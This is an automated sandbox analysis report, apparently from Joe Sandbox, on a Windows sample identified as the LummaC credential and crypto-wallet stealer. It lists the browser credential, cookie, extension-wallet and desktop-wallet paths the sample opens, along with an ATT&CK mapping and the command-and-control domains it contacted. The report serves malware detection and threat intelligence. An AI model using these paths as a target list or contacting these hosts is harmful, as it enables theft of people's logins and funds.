Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6816, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Credential API Hooking	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	112 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
greetclassifytalk.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://greetclassifytalk.shop/api	12%	Virustotal		Browse
shatterbreathepsw.shop	1%	Virustotal		Browse
tolerateilusidjukl.shop	1%	Virustotal		Browse
shortsvelventysjo.shop	1%	Virustotal		Browse
incredibleextedwj.shop	1%	Virustotal		Browse
liabilitynighstjsko.shop	1%	Virustotal		Browse
demonstationfukewko.shop	1%	Virustotal		Browse
greetclassifytalk.shop	1%	Virustotal		Browse
https://greetclassifytalk.shop/	1%	Virustotal		Browse
productivelookewr.shop	1%	Virustotal		Browse
https://greetclassifytalk.shop:443/api	12%	Virustotal		Browse
alcojoldwograpciw.shop	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
greetclassifytalk.shop	172.67.177.98	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	1%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	1%, Virustotal, Browse	unknown
https://greetclassifytalk.shop/api	true	12%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
greetclassifytalk.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/nt	file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/%D	file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1673429503.0000000003DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673523212.0000000003DC5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1673429503.0000000003DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673523212.0000000003DC5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/$Q	file.exe, 00000000.00000003.1691295811.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1691560780.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greetclassifytalk.shop/)tO#	file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greetclassifytalk.shop/apiCz	file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://greetclassifytalk.shop/gtu#	file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/	file.exe, 00000000.00000002.1745794964.0000000000E36000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1745345269.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746073047.0000000000EAF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/apik	file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1673523212.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/api0	file.exe, 00000000.00000003.1745362507.0000000000E88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1745794964.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.microsof	file.exe, 00000000.00000003.1673429503.0000000003DCE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1691804794.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://greetclassifytalk.shop/api-	file.exe, 00000000.00000003.1682855483.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1664983879.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1673523212.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1692808922.0000000003E99000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1674099563.0000000003D88000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673861505.0000000003D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop:443/api	file.exe, 00000000.00000003.1673148684.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673941731.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1682855483.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	false	12%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1693486798.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.177.98	greetclassifytalk.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429089
Start date and time:	2024-04-20 19:20:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 34 Number of non-executed functions: 56
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Excluded IPs from analysis (whitelisted): 40.127.169.103
